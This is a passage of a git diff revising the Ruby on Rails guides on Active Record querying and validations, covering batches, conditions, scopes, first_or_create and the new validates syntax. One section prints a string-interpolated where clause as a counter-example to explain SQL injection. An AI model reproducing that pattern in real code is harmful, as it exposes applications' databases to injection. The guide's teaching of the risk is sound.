newsletters only to users with the primary key starting from +2000+: +For example, to send newsletters only to users with the primary key starting from 2000, and to retrieve them in batches of 5000: <ruby> -User.find_each(:batch_size => 5000, :start => 2000) do |user| +User.find_each(:start => 2000, :batch_size => 5000) do |user| NewsLetter.weekly_deliver(user) end </ruby> -*Additional options* +Another example would be if you wanted multiple workers handling the same processing queue. You could have each worker handle 10000 records by setting the appropriate <tt>:start</tt> option on each worker. -+find_each+ accepts the same options as the regular +find+ method. However, +:order+ and +:limit+ are needed internally and hence not allowed to be passed explicitly. +NOTE: The +:include+ option allows you to name associations that should be loaded alongside with the models. h5. +find_in_batches+ -You can also work by chunks instead of row by row using +find_in_batches+. This method is analogous to +find_each+, but it yields arrays of models instead: +The +find_in_batches+ method is similar to +find_each+, since both retrieve batches of records. The difference is that +find_in_batches+ yields _batches_ to the block as an array of models, instead of individually. The following example will yield to the supplied block an array of up to 1000 invoices at a time, with the final block containing any remaining invoices: <ruby> -# Works in chunks of 1000 invoices at a time. +# Give add_invoices an array of 1000 invoices at a time Invoice.find_in_batches(:include => :invoice_lines) do |invoices| export.add_invoices(invoices) end </ruby> -The above will yield the supplied block with +1000+ invoices every time. +NOTE: The +:include+ option allows you to name associations that should be loaded alongside with the models. + +h6. Options for +find_in_batches+ + +The +find_in_batches+ method accepts the same +:batch_size+ and +:start+ options as +find_each+, as well as most of the options allowed by the regular +find+ method, except for +:order+ and +:limit+, which are reserved for internal use by +find_in_batches+. h3. Conditions -The +find+ method allows you to specify conditions to limit the records returned, representing the +WHERE+-part of the SQL statement. Conditions can either be specified as a string, array, or hash. +The +where+ method allows you to specify conditions to limit the records returned, representing the +WHERE+-part of the SQL statement. Conditions can either be specified as a string, array, or hash. h4. Pure String Conditions @@ -265,7 +276,7 @@ WARNING: Building your own conditions as pure strings can leave you vulnerable t h4. Array Conditions -Now what if that number could vary, say as an argument from somewhere? The find then becomes something like: +Now what if that number could vary, say as an argument from somewhere? The find would then take the form: <ruby> Client.where("orders_count = ?", params[:orders]) @@ -273,7 +284,7 @@ Client.where("orders_count = ?", params[:orders]) Active Record will go through the first element in the conditions value and any additional elements will replace the question marks +(?)+ in the first element. -Or if you want to specify two conditions, you can do it like: +If you want to specify multiple conditions: <ruby> Client.where("orders_count = ? AND locked = ?", params[:orders], false) @@ -281,19 +292,19 @@ Client.where("orders_count = ? AND locked = ?", params[:orders], false) In this example, the first question mark will be replaced with the value in +params[:orders]+ and the second will be replaced with the SQL representation of +false+, which depends on the adapter. -The reason for doing code like: +This code is highly preferable: <ruby> Client.where("orders_count = ?", params[:orders]) </ruby> -instead of: +to this code: <ruby> Client.where("orders_count = #{params[:orders]}") </ruby> -is because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database *as-is*. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string. +because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database *as-is*. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string. TIP: For more information on the dangers of SQL injection, see the "Ruby on Rails Security Guide":security.html#sql-injection. @@ -465,7 +476,7 @@ To apply a +GROUP BY+ clause to the SQL fired by the finder, you can specify the For example, if you want to find a collection of the dates orders were created on: <ruby> -Order.group("date(created_at)").order("created_at") +Order.select("date(created_at) as ordered_date, sum(price) as total_price").group("date(created_at)") </ruby> And this will give you a single +Order+ object for each date where there are orders in the database. @@ -473,7 +484,7 @@ And this will give you a single +Order+ object for each date where there are ord The SQL that would be executed would be something like this: <sql> -SELECT * FROM orders GROUP BY date(created_at) ORDER BY created_at +SELECT date(created_at) as ordered_date, sum(price) as total_price FROM orders GROUP BY date(created_at) </sql> h3. Having @@ -483,16 +494,16 @@ SQL uses the +HAVING+ clause to specify conditions on the +GROUP BY+ fields. You For example: <ruby> -Order.group("date(created_at)").having("created_at > ?", 1.month.ago) +Order.select("date(created_at) as ordered_date, sum(price) as total_price").group("date(created_at)").having("sum(price) > ?", 100) </ruby> The SQL that would be executed would be something like this: <sql> -SELECT * FROM orders GROUP BY date(created_at) HAVING created_at > '2009-01-15' +SELECT date(created_at) as ordered_date, sum(price) as total_price FROM orders GROUP BY date(created_at) HAVING sum(price) > 100 </sql> -This will return single order objects for each day, but only for the last month. +This will return single order objects for each day, but only those that are ordered more than $100 in a day. h3. Overriding Conditions @@ -550,6 +561,34 @@ In case the +reorder+ clause is not used, the SQL executed would be: SELECT * FROM posts WHERE id = 10 ORDER BY posted_at DESC </sql> +h4. +reverse_order+ + +The +reverse_order+ method reverses the ordering clause if specified. + +<ruby> +Client.where("orders_count > 10").order(:name).reverse_order +</ruby> + +The SQL that would be executed: + +<sql> +SELECT * FROM clients WHERE orders_count > 10 ORDER BY name DESC +</sql> + +If no ordering clause is specified in the query, the +reverse_order+ orders by the primary key in reverse order. + +<ruby> +Client.where("orders_count > 10").reverse_order +</ruby> + +The SQL that would be executed: + +<sql> +SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC +</sql> + +This method accepts *no* arguments. + h3. Readonly Objects Active Record provides +readonly+ method on a relation to explicitly disallow modification or deletion of any of the returned object. Any attempt to alter or destroy a readonly record will not succeed, raising an +ActiveRecord::ReadOnlyRecord+ exception. @@ -587,15 +626,13 @@ c1.first_name = "Michael" c1.save c2.name = "should fail" -c2.save # Raises a ActiveRecord::StaleObjectError +c2.save # Raises an ActiveRecord::StaleObjectError </ruby> You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging, or otherwise apply the business logic needed to resolve the conflict. NOTE: You must ensure that your database schema defaults the +lock_version+ column to +0+. -<br /> - This behavior can be turned off by setting <tt>ActiveRecord::Base.lock_optimistically = false</tt>. To override the name of the +lock_version+ column, +ActiveRecord::Base+ provides a class method called +set_locking_column+: @@ -675,7 +712,7 @@ class Post < ActiveRecord::Base has_many :tags end -class Comments < ActiveRecord::Base +class Comment < ActiveRecord::Base belongs_to :post has_one :guest end @@ -683,6 +720,10 @@ end class Guest < ActiveRecord::Base belongs_to :comment end + +class Tag < ActiveRecord::Base + belongs_to :post +end </ruby> Now all of the following will produce the expected join queries using +INNER JOIN+: @@ -700,6 +741,8 @@ SELECT categories.* FROM categories INNER JOIN posts ON posts.category_id = categories.id </sql> +Or, in English: "return a Category object for all categories with posts". Note that you will see duplicate categories if more than one post has the same category. If you want unique categories, you can use Category.joins(:post).select("distinct(categories.id)"). + h5. Joining Multiple Associations <ruby> @@ -714,18 +757,40 @@ SELECT posts.* FROM posts INNER JOIN comments ON comments.post_id = posts.id </sql> +Or, in English: "return all posts that have a category and at least one comment". Note again that posts with multiple comments will show up multiple times. + h5. Joining Nested Associations (Single Level) <ruby> Post.joins(:comments => :guest) </ruby> +This produces: + +<sql> +SELECT posts.* FROM posts + INNER JOIN comments ON comments.post_id = posts.id + INNER JOIN guests ON guests.comment_id = comments.id +</sql> + +Or, in English: "return all posts that have a comment made by a guest." + h5. Joining Nested Associations (Multiple Level) <ruby> Category.joins(:posts => [{:comments => :guest}, :tags]) </ruby> +This produces: + +<sql> +SELECT categories.* FROM categories + INNER JOIN posts ON posts.category_id = categories.id + INNER JOIN comments ON comments.post_id = posts.id + INNER JOIN guests ON guests.comment_id = comments.id + INNER JOIN tags ON tags.post_id = posts.id +</sql> + h4. Specifying Conditions on the Joined Tables You can specify conditions on the joined tables using the regular "Array":#array-conditions and "String":#pure-string-conditions conditions. "Hash conditions":#hash-conditions provides a special syntax for specifying conditions for the joined tables: @@ -856,14 +921,14 @@ end To call this +published+ scope we can call it on either the class: <ruby> -Post.published => [published posts] +Post.published # => [published posts] </ruby> Or on an association consisting of +Post+ objects: <ruby> category = Category.first -category.posts.published => [published posts belonging to this category] +category.posts.published # => [published posts belonging to this category] </ruby> h4. Working with times @@ -910,6 +975,47 @@ Using a class method is the preferred way to accept arguments for scopes. These category.posts.1_week_before(time) </ruby> +h4. Working with scopes + +Where a relational object is required, the +scoped+ method may come in handy. This will return an +ActiveRecord::Relation+ object which can have further scoping applied to it afterwards. A place where this may come in handy is on associations + +<ruby> +client = Client.find_by_first_name("Ryan") +orders = client.orders.scoped +</ruby> + +With this new +orders+ object, we are able to ascertain that this object can have more scopes applied to it. For instance, if we wanted to return orders only in the last 30 days at a later point. + +<ruby> +orders.where("created_at > ?", 30.days.ago) +</ruby> + +h4. Applying a default scope + +If we wish for a scope to be applied across all queries to the model we can use the +default_scope+ method within the model itself. + +<ruby> +class Client < ActiveRecord::Base + default_scope where("removed_at IS NULL") +end +</ruby> + +When queries are executed on this model, the SQL query will now look something like this: + +<sql> +SELECT * FROM clients WHERE removed_at IS NULL +</sql> + +h4. Removing all scoping + +If we wish to remove scoping for any reason we can use the +unscoped+ method. This is especially useful if a +default_scope+ is specified in the model and should not be applied for this particular query. + +<ruby> +Client.unscoped.all +</ruby> + +This method removes all scoping and will do a normal query on the table. + h3. Dynamic Finders For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called +first_name+ on your +Client+ model for example, you get +find_by_first_name+ and +find_all_by_first_name+ for free from Active Record. If you have a +locked+ field on the +Client+ model, you also get +find_by_locked+ and +find_all_by_locked+ methods. @@ -918,26 +1024,90 @@ You can also use +find_last_by_*+ methods which will find the last record matchi You can specify an exclamation point (<tt>!</tt>) on the end of the dynamic finders to get them to raise an +ActiveRecord::RecordNotFound+ error if they do not return any records, like +Client.find_by_name!("Ryan")+ -If you want to find both by name and locked, you can chain these finders together by simply typing +and+ between the fields. For example, +Client.find_by_first_name_and_locked("Ryan", true)+. +If you want to find both by name and locked, you can chain these finders together by simply typing "+and+" between the fields. For example, +Client.find_by_first_name_and_locked("Ryan", true)+. + +WARNING: Up to and including Rails 3.1, when the number of arguments passed to a dynamic finder method is lesser than the number of fields, say <tt>Client.find_by_name_and_locked("Ryan")</tt>, the behavior is to pass +nil+ as the missing argument. This is *unintentional* and this behavior will be changed in Rails 3.2 to throw an +ArgumentError+. + +h3. Find or build a new object + +It's common that you need to find a record or create it if it doesn't exist. You can do that with the +first_or_create+ and +first_or_create!+ methods. +h4. +first_or_create+ -There's another set of dynamic finders that let you find or create/initialize objects if they aren't found. These work in a similar fashion to the other finders and can be used like +find_or_create_by_first_name(params[:first_name])+. Using this will first perform a find and then create if the find returns +nil+. The SQL looks like this for +Client.find_or_create_by_first_name("Ryan")+: +The +first_or_create+ method checks whether +first+ returns +nil+ or not. If it does return +nil+, then +create+ is called. This is very powerful when coupled with the +where+ method. Let's see an example. + +Suppose you want to find a client named 'Andy', and if there's none, create one and additionally set his +locked+ attribute to false. You can do so by running: + +<ruby> +Client.where(:first_name => 'Andy').first_or_create(:locked => false) +# => #<Client id: 1, first_name: "Andy", orders_count: 0, locked: false, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27"> +</ruby> + +The SQL generated by this method looks like this: <sql> -SELECT * FROM clients WHERE (clients.first_name = 'Ryan') LIMIT 1 +SELECT * FROM clients WHERE (clients.first_name = 'Andy') LIMIT 1 BEGIN -INSERT INTO clients (first_name, updated_at, created_at, orders_count, locked) - VALUES('Ryan', '2008-09-28 15:39:12', '2008-09-28 15:39:12', 0, '0') +INSERT INTO clients (created_at, first_name, locked, orders_count, updated_at) VALUES ('2011-08-30 05:22:57', 'Andy', 0, NULL, '2011-08-30 05:22:57') COMMIT </sql> -+find_or_create+'s sibling, +find_or_initialize+, will find an object and if it does not exist will act similarly to calling +new+ with the arguments you passed in. For example: ++first_or_create+ returns either the record that already exists or the new record. In our case, we didn't already have a client named Andy so the record is created and returned. + +The new record might not be saved to the database; that depends on whether validations passed or not (just like +create+). + +It's also worth noting that +first_or_create+ takes into account the arguments of the +where+ method. In the example above we didn't explicitly pass a +:first_name => 'Andy'+ argument to +first_or_create+. However, that was used when creating the new record because it was already passed before to the +where+ method. + +You can do the same with the +find_or_create_by+ method: + +<ruby> +Client.find_or_create_by_first_name(:first_name => "Andy", :locked => false) +</ruby> + +This method still works, but it's encouraged to use +first_or_create+ because it's more explicit on which arguments are used to _find_ the record and which are used to _create_, resulting in less confusion overall. + +h4. +first_or_create!+ + +You can also use +first_or_create!+ to raise an exception if the new record is invalid. Validations are not covered on this guide, but let's assume for a moment that you temporarily add <ruby> -client = Client.find_or_initialize_by_first_name('Ryan') +validates :orders_count, :presence => true </ruby> -will either assign an existing client object with the name "Ryan" to the client local variable, or initialize a new object similar to calling +Client.new(:first_name => 'Ryan')+. From here, you can modify other fields in client by calling the attribute setters on it: +client.locked = true+ and when you want to write it to the database just call +save+ on it. +to your +Client+ model. If you try to create a new +Client+ without passing an +orders_count+, the record will be invalid and an exception will be raised: + +<ruby> +Client.where(:first_name => 'Andy').first_or_create!(:locked => false) +# => ActiveRecord::RecordInvalid: Validation failed: Orders count can't be blank +</ruby> + +h4. +first_or_initialize+ + +The +first_or_initialize+ method will work just like +first_or_create+ but it will not call +create+ but +new+. This means that a new model instance will be created in memory but won't be saved to the database. Continuing with the +first_or_create+ example, we now want the client named 'Nick': + +<ruby> +nick = Client.where(:first_name => 'Nick').first_or_initialize(:locked => false) +# => <Client id: nil, first_name: "Nick", orders_count: 0, locked: false, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27"> + +nick.persisted? +# => false + +nick.new_record? +# => true +</ruby> + +Because the object is not yet stored in the database, the SQL generated looks like this: + +<sql> +SELECT * FROM clients WHERE (clients.first_name = 'Nick') LIMIT 1 +</sql> + +When you want to save it to the database, just call +save+: + +<ruby> +nick.save +# => true +</ruby> h3. Finding by SQL @@ -1088,11 +1258,3 @@ Client.sum("orders_count") </ruby> For options, please see the parent section, "Calculations":#calculations. - -h3. Changelog - -* December 23 2010: Add documentation for the +scope+ method. "Ryan Bigg":http://ryanbigg.com -* April 7, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* February 3, 2010: Update to Rails 3 by "James Miller":credits.html#bensie -* February 7, 2009: Second version by "Pratik":credits.html#lifo -* December 29 2008: Initial version by "Ryan Bigg":credits.html#radar diff --git a/railties/guides/source/active_record_validations_callbacks.textile b/railties/guides/source/active_record_validations_callbacks.textile index 19bd4ad0f1..665e7f9ccc 100644 --- a/railties/guides/source/active_record_validations_callbacks.textile +++ b/railties/guides/source/active_record_validations_callbacks.textile @@ -28,7 +28,7 @@ h4. Why Use Validations? Validations are used to ensure that only valid data is saved into your database. For example, it may be important to your application to ensure that every user provides a valid email address and mailing address. -There are several ways to validate data before it is saved into your database, including native database constraints, client-side validations, controller-level validations, and model-level validations. +There are several ways to validate data before it is saved into your database, including native database constraints, client-side validations, controller-level validations, and model-level validations: * Database constraints and/or stored procedures make the validation mechanisms database-dependent and can make testing and maintenance more difficult. However, if your database is used by other applications, it may be a good idea to use some constraints at the database level. Additionally, database-level validations can safely handle some things (such as uniqueness in heavily-used tables) that can be difficult to implement otherwise. * Client-side validations can be useful, but are generally unreliable if used alone. If they are implemented using JavaScript, they may be bypassed if JavaScript is turned off in the user's browser. However, if combined with other techniques, client-side validation can be a convenient way to provide users with immediate feedback as they use your site. @@ -46,7 +46,7 @@ end We can see how it works by looking at some +rails console+ output: -<shell> +<ruby> >> p = Person.new(:name => "John Doe") => #<Person id: nil, name: "John Doe", created_at: nil, :updated_at: nil> >> p.new_record? @@ -55,7 +55,7 @@ We can see how it works by looking at some +rails console+ output: => true >> p.new_record? => false -</shell> +</ruby> Creating and saving a new record will send an SQL +INSERT+ operation to the database. Updating an existing record will send an SQL +UPDATE+ operation instead. Validations are typically run before these commands are sent to the database. If any validations fail, the object will be marked as invalid and Active Record will not perform the +INSERT+ or +UPDATE+ operation. This helps to avoid storing an invalid object in the database. You can choose to have specific validations run when an object is created, saved, or updated. @@ -82,6 +82,7 @@ The following methods skip validations, and will save the object to the database * +increment!+ * +increment_counter+ * +toggle!+ +* +touch+ * +update_all+ * +update_attribute+ * +update_column+ @@ -93,7 +94,7 @@ Note that +save+ also has the ability to skip validations if passed +:validate = h4. +valid?+ and +invalid?+ -To verify whether or not an object is valid, Rails uses the +valid?+ method. You can also use this method on your own. +valid?+ triggers your validations and returns true if no errors were added to the object, and false otherwise. +To verify whether or not an object is valid, Rails uses the +valid?+ method. You can also use this method on your own. +valid?+ triggers your validations and returns true if no errors were found in the object, and false otherwise. <ruby> class Person < ActiveRecord::Base @@ -104,7 +105,7 @@ Person.create(:name => "John Doe").valid? # => true Person.create(:name => nil).valid? # => false </ruby> -When Active Record is performing validations, any errors found can be accessed through the +errors+ instance method. By definition an object is valid if this collection is empty after running validations. +After Active Record has performed validations, any errors found can be accessed through the +errors+ instance method, which returns a collection of errors. By definition, an object is valid if this collection is empty after running validations. Note that an object instantiated with +new+ will not report errors even if it's technically invalid, because validations are not run when using +new+. @@ -138,7 +139,7 @@ end => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank </ruby> -+invalid?+ is simply the inverse of +valid?+. +invalid?+ triggers your validations and returns true if any errors were added to the object, and false otherwise. ++invalid?+ is simply the inverse of +valid?+. +invalid?+ triggers your validations, returning true if any errors were found in the object, and false otherwise. h4(#validations_overview-errors). +errors[]+ @@ -159,29 +160,29 @@ We'll cover validation errors in greater depth in the "Working with Validation E h3. Validation Helpers -Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers provide common validation rules. Every time a validation fails, an error message is added to the object's +errors+ collection, and this message is associated with the field being validated. +Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers provide common validation rules. Every time a validation fails, an error message is added to the object's +errors+ collection, and this message is associated with the attribute being validated. Each helper accepts an arbitrary number of attribute names, so with a single line of code you can add the same kind of validation to several attributes. All of them accept the +:on+ and +:message+ options, which define when the validation should be run and what message should be added to the +errors+ collection if it fails, respectively. The +:on+ option takes one of the values +:save+ (the default), +:create+ or +:update+. There is a default error message for each one of the validation helpers. These messages are used when the +:message+ option isn't specified. Let's take a look at each one of the available helpers. -h4. +validates_acceptance_of+ +h4. +acceptance+ Validates that a checkbox on the user interface was checked when a form was submitted. This is typically used when the user needs to agree to your application's terms of service, confirm reading some text, or any similar concept. This validation is very specific to web applications and this 'acceptance' does not need to be recorded anywhere in your database (if you don't have a field for it, the helper will just create a virtual attribute). <ruby> class Person < ActiveRecord::Base - validates_acceptance_of :terms_of_service + validates :terms_of_service, :acceptance => true end </ruby> -The default error message for +validates_acceptance_of+ is "_must be accepted_". +The default error message for this helper is "_must be accepted_". -+validates_acceptance_of+ can receive an +:accept+ option, which determines the value that will be considered acceptance. It defaults to "1", but you can change this. +It can receive an +:accept+ option, which determines the value that will be considered acceptance. It defaults to "1" and can be easily changed. <ruby> class Person < ActiveRecord::Base - validates_acceptance_of :terms_of_service, :accept => 'yes' + validates :terms_of_service, :acceptance => { :accept => 'yes' } end </ruby> @@ -202,13 +203,13 @@ CAUTION: Don't use +validates_associated+ on both ends of your associations. The The default error message for +validates_associated+ is "_is invalid_". Note that each associated object will contain its own +errors+ collection; errors do not bubble up to the calling model. -h4. +validates_confirmation_of+ +h4. +confirmation+ You should use this helper when you have two text fields that should receive exactly the same content. For example, you may want to confirm an email address or a password. This validation creates a virtual attribute whose name is the name of the field that has to be confirmed with "_confirmation" appended. <ruby> class Person < ActiveRecord::Base - validates_confirmation_of :email + validates :email, :confirmation => true end </ruby> @@ -219,70 +220,70 @@ In your view template you could use something like <%= text_field :person, :email_confirmation %> </erb> -This check is performed only if +email_confirmation+ is not +nil+. To require confirmation, make sure to add a presence check for the confirmation attribute (we'll take a look at +validates_presence_of+ later on this guide): +This check is performed only if +email_confirmation+ is not +nil+. To require confirmation, make sure to add a presence check for the confirmation attribute (we'll take a look at +presence+ later on this guide): <ruby> class Person < ActiveRecord::Base - validates_confirmation_of :email - validates_presence_of :email_confirmation + validates :email, :confirmation => true + validates :email_confirmation, :presence => true end </ruby> -The default error message for +validates_confirmation_of+ is "_doesn't match confirmation_". +The default error message for this helper is "_doesn't match confirmation_". -h4. +validates_exclusion_of+ +h4. +exclusion+ This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object. <ruby> class Account < ActiveRecord::Base - validates_exclusion_of :subdomain, :in => %w(www us ca jp), - :message => "Subdomain %{value} is reserved." + validates :subdomain, :exclusion => { :in => %w(www us ca jp), + :message => "Subdomain %{value} is reserved." } end </ruby> -The +validates_exclusion_of+ helper has an option +:in+ that receives the set of values that will not be accepted for the validated attributes. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. This example uses the +:message+ option to show how you can include the attribute's value. +The +exclusion+ helper has an option +:in+ that receives the set of values that will not be accepted for the validated attributes. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. This example uses the +:message+ option to show how you can include the attribute's value. -The default error message for +validates_exclusion_of+ is "_is reserved_". +The default error message is "_is reserved_". -h4. +validates_format_of+ +h4. +format+ This helper validates the attributes' values by testing whether they match a given regular expression, which is specified using the +:with+ option. <ruby> class Product < ActiveRecord::Base - validates_format_of :legacy_code, :with => /\A[a-zA-Z]+\z/, - :message => "Only letters allowed" + validates :legacy_code, :format => { :with => /\A[a-zA-Z]+\z/, + :message => "Only letters allowed" } end </ruby> -The default error message for +validates_format_of+ is "_is invalid_". +The default error message is "_is invalid_". -h4. +validates_inclusion_of+ +h4. +inclusion+ This helper validates that the attributes' values are included in a given set. In fact, this set can be any enumerable object. <ruby> class Coffee < ActiveRecord::Base - validates_inclusion_of :size, :in => %w(small medium large), - :message => "%{value} is not a valid size" + validates :size, :inclusion => { :in => %w(small medium large), + :message => "%{value} is not a valid size" } end </ruby> -The +validates_inclusion_of+ helper has an option +:in+ that receives the set of values that will be accepted. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. The previous example uses the +:message+ option to show how you can include the attribute's value. +The +inclusion+ helper has an option +:in+ that receives the set of values that will be accepted. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. The previous example uses the +:message+ option to show how you can include the attribute's value. -The default error message for +validates_inclusion_of+ is "_is not included in the list_". +The default error message for this helper is "_is not included in the list_". -h4. +validates_length_of+ +h4. +length+ This helper validates the length of the attributes' values. It provides a variety of options, so you can specify length constraints in different ways: <ruby> class Person < ActiveRecord::Base - validates_length_of :name, :minimum => 2 - validates_length_of :bio, :maximum => 500 - validates_length_of :password, :in => 6..20 - validates_length_of :registration_number, :is => 6 + validates :name, :length => { :minimum => 2 } + validates :bio, :length => { :maximum => 500 } + validates :password, :length => { :in => 6..20 } + validates :registration_number, :length => { :is => 6 } end </ruby> @@ -297,8 +298,8 @@ The default error messages depend on the type of length validation being perform <ruby> class Person < ActiveRecord::Base - validates_length_of :bio, :maximum => 1000, - :too_long => "%{count} characters is the maximum allowed" + validates :bio, :length => { :maximum => 1000, + :too_long => "%{count} characters is the maximum allowed" } end </ruby> @@ -306,27 +307,28 @@ This helper counts characters by default, but you can split the value in a diffe <ruby> class Essay < ActiveRecord::Base - validates_length_of :content, + validates :content, :length => { :minimum => 300, :maximum => 400, :tokenizer => lambda { |str| str.scan(/\w+/) }, :too_short => "must have at least %{count} words", :too_long => "must have at most %{count} words" + } end </ruby> -Note that the default error messages are plural (e.g., "is too short (minimum is %{count} characters)"). For this reason, when +:minimum+ is 1 you should provide a personalized message or use +validates_presence_of+ instead. When +:in+ or +:within+ have a lower limit of 1, you should either provide a personalized message or call +validates_presence_of+ prior to +validates_length_of+. +Note that the default error messages are plural (e.g., "is too short (minimum is %{count} characters)"). For this reason, when +:minimum+ is 1 you should provide a personalized message or use +validates_presence_of+ instead. When +:in+ or +:within+ have a lower limit of 1, you should either provide a personalized message or call +presence+ prior to +length+. -The +validates_size_of+ helper is an alias for +validates_length_of+. +The +size+ helper is an alias for +length+. -h4. +validates_numericality_of+ +h4. +numericality+ This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by an integral or floating point number. To specify that only integral numbers are allowed set +:only_integer+ to true. If you set +:only_integer+ to +true+, then it will use the <ruby> -/\A[+-]?\d+\Z/ +/\A[<plus>-]?\d<plus>\Z/ </ruby> regular expression to validate the attribute's value. Otherwise, it will try to convert the value to a number using +Float+. @@ -335,12 +337,12 @@ WARNING. Note that the regular expression above allows a trailing newline charac <ruby> class Player < ActiveRecord::Base - validates_numericality_of :points - validates_numericality_of :games_played, :only_integer => true + validates :points, :numericality => true + validates :games_played, :numericality => { :only_integer => true } end </ruby> -Besides +:only_integer+, the +validates_numericality_of+ helper also accepts the following options to add constraints to acceptable values: +Besides +:only_integer+, this helper also accepts the following options to add constraints to acceptable values: * +:greater_than+ - Specifies the value must be greater than the supplied value. The default error message for this option is "_must be greater than %{count}_". * +:greater_than_or_equal_to+ - Specifies the value must be greater than or equal to the supplied value. The default error message for this option is "_must be greater than or equal to %{count}_". @@ -350,9 +352,9 @@ Besides +:only_integer+, the +validates_numericality_of+ helper also accepts the * +:odd+ - Specifies the value must be an odd number if set to true. The default error message for this option is "_must be odd_". * +:even+ - Specifies the value must be an even number if set to true. The default error message for this option is "_must be even_". -The default error message for +validates_numericality_of+ is "_is not a number_". +The default error message is "_is not a number_". -h4. +validates_presence_of+ +h4. +presence+ This helper validates that the specified attributes are not empty. It uses the +blank?+ method to check if the value is either +nil+ or a blank string, that is, a string that is either empty or consists of whitespace. @@ -367,21 +369,21 @@ If you want to be sure that an association is present, you'll need to test wheth <ruby> class LineItem < ActiveRecord::Base belongs_to :order - validates_presence_of :order_id + validates :order_id, :presence => true end </ruby> -Since +false.blank?+ is true, if you want to validate the presence of a boolean field you should use +validates_inclusion_of :field_name, :in => [true, false]+. +Since +false.blank?+ is true, if you want to validate the presence of a boolean field you should use <tt>validates :field_name, :inclusion => { :in => [true, false] }</tt>. -The default error message for +validates_presence_of+ is "_can't be empty_". +The default error message is "_can't be empty_". -h4. +validates_uniqueness_of+ +h4. +uniqueness+ This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint in the database, so it may happen that two different database connections create two records with the same value for a column that you intend to be unique. To avoid that, you must create a unique index in your database. <ruby> class Account < ActiveRecord::Base - validates_uniqueness_of :email + validates :email, :uniqueness => true end </ruby> @@ -391,8 +393,8 @@ There is a +:scope+ option that you can use to specify other attributes that are <ruby> class Holiday < ActiveRecord::Base - validates_uniqueness_of :name, :scope => :year, - :message => "should happen once per year" + validates :name, :uniqueness => { :scope => :year, + :message => "should happen once per year" } end </ruby> @@ -400,13 +402,13 @@ There is also a +:case_sensitive+ option that you can use to define whether the <ruby> class Person < ActiveRecord::Base - validates_uniqueness_of :name, :case_sensitive => false + validates :name, :uniqueness => { :case_sensitive => false } end </ruby> WARNING. Note that some databases are configured to perform case-insensitive searches anyway. -The default error message for +validates_uniqueness_of+ is "_has already been taken_". +The default error message is "_has already been taken_". h4. +validates_with+ @@ -426,9 +428,11 @@ class GoodnessValidator < ActiveModel::Validator end </ruby> +NOTE: Errors added to +record.errors[:base]+ relate to the state of the record as a whole, and not to a specific attribute. + The +validates_with+ helper takes a class, or a list of classes to use for validation. There is no default error message for +validates_with+. You must manually add errors to the record's errors collection in the validator class. -To implement the validate method, you must have an +record+ parameter defined, which is the record to be validated. +To implement the validate method, you must have a +record+ parameter defined, which is the record to be validated. Like all other validations, +validates_with+ takes the +:if+, +:unless+ and +:on+ options. If you pass any other options, it will send those options to the validator class as +options+: @@ -452,13 +456,13 @@ This helper validates attributes against a block. It doesn't have a predefined v <ruby> class Person < ActiveRecord::Base - validates_each :name, :surname do |model, attr, value| - model.errors.add(attr, 'must start with upper case') if value =~ /\A[a-z]/ + validates_each :name, :surname do |record, attr, value| + record.errors.add(attr, 'must start with upper case') if value =~ /\A[a-z]/ end end </ruby> -The block receives the model, the attribute's name and the attribute's value. You can do anything you like to check for valid data within the block. If your validation fails, you can add an error message to the model, therefore making it invalid. +The block receives the record, the attribute's name and the attribute's value. You can do anything you like to check for valid data within the block. If your validation fails, you should add an error message to the model, therefore making it invalid. h3. Common Validation Options @@ -470,8 +474,8 @@ The +:allow_nil+ option skips the validation when the value being validated is + <ruby> class Coffee < ActiveRecord::Base - validates_inclusion_of :size, :in => %w(small medium large), - :message => "%{value} is not a valid size", :allow_nil => true + validates :size, :inclusion => { :in => %w(small medium large), + :message => "%{value} is not a valid size" }, :allow_nil => true end </ruby> @@ -483,10 +487,10 @@ The +:allow_blank+ option is similar to the +:allow_nil+ option. This option wil <ruby> class Topic < ActiveRecord::Base - validates_length_of :title, :is => 5, :allow_blank => true + validates :title, :length => { :is => 5 }, :allow_blank => true end -Topic.create("title" => "").valid? # => true +Topic.create("title" => "").valid? # => true Topic.create("title" => nil).valid? # => true </ruby> @@ -503,10 +507,10 @@ The +:on+ option lets you specify when the validation should happen. The default <ruby> class Person < ActiveRecord::Base # it will be possible to update email with a duplicated value - validates_uniqueness_of :email, :on => :create + validates :email, :uniqueness => true, :on => :create # it will be possible to create the record with a non-numerical age - validates_numericality_of :age, :on => :update + validates :age, :numericality => true, :on => :update # the default (validates on both create and update) validates :name, :presence => true, :on => :save @@ -523,7 +527,7 @@ You can associate the +:if+ and +:unless+ options with a symbol corresponding to <ruby> class Order < ActiveRecord::Base - validates_presence_of :card_number, :if => :paid_with_card? + validates :card_number, :presence => true, :if => :paid_with_card? def paid_with_card? payment_type == "card" @@ -537,7 +541,7 @@ You can also use a string that will be evaluated using +eval+ and needs to conta <ruby> class Person < ActiveRecord::Base - validates_presence_of :surname, :if => "name.nil?" + validates :surname, :presence => true, :if => "name.nil?" end </ruby> @@ -547,7 +551,7 @@ Finally, it's possible to associate +:if+ and +:unless+ with a +Proc+ object whi <ruby> class Account < ActiveRecord::Base - validates_confirmation_of :password, + validates :password, :confirmation => true, :unless => 